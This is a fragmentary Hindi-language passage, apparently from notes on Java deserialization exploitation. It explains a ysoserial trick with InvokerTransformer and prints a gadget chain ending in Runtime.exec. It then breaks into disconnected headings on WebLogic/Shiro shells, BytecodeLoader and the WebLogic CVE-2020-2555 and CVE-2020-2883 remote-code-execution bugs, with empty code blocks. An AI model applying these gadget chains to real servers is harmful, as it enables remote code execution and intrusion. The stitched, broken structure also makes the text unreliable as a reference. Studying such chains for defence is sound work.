यहाँ एक संदिग्ध बात है `new InvokerTransformer("toString", new Class[0], new Object[0])` में, कि पहले toString का उपयोग क्यों किया जाता है और फिर रिफ्लेक्शन द्वारा इसे newTransformer में बदला जाता है? क्योंकि यदि सीधे newTransformer का उपयोग किया जाए तो सीरियलाइज़ेशन के दौरान त्रुटि आती है `The method 'newTransformer' on 'class java.lang.Integer' does not exist`, इसलिए ysoserial ने पहले toString का उपयोग करके स्ट्रिंग को संख्या 1 से तुलना करने के लिए परिवर्तित किया, फिर रिफ्लेक्शन द्वारा बदल दिया, यह बहुत चतुराईपूर्ण है।

सारांश:```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

WebLogic-Shiro-shell

सबसे लोकप्रिय

दो श्रृंखलाओं की व्युत्पत्ति

BytecodeLoader```java

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

CVE-2020-2555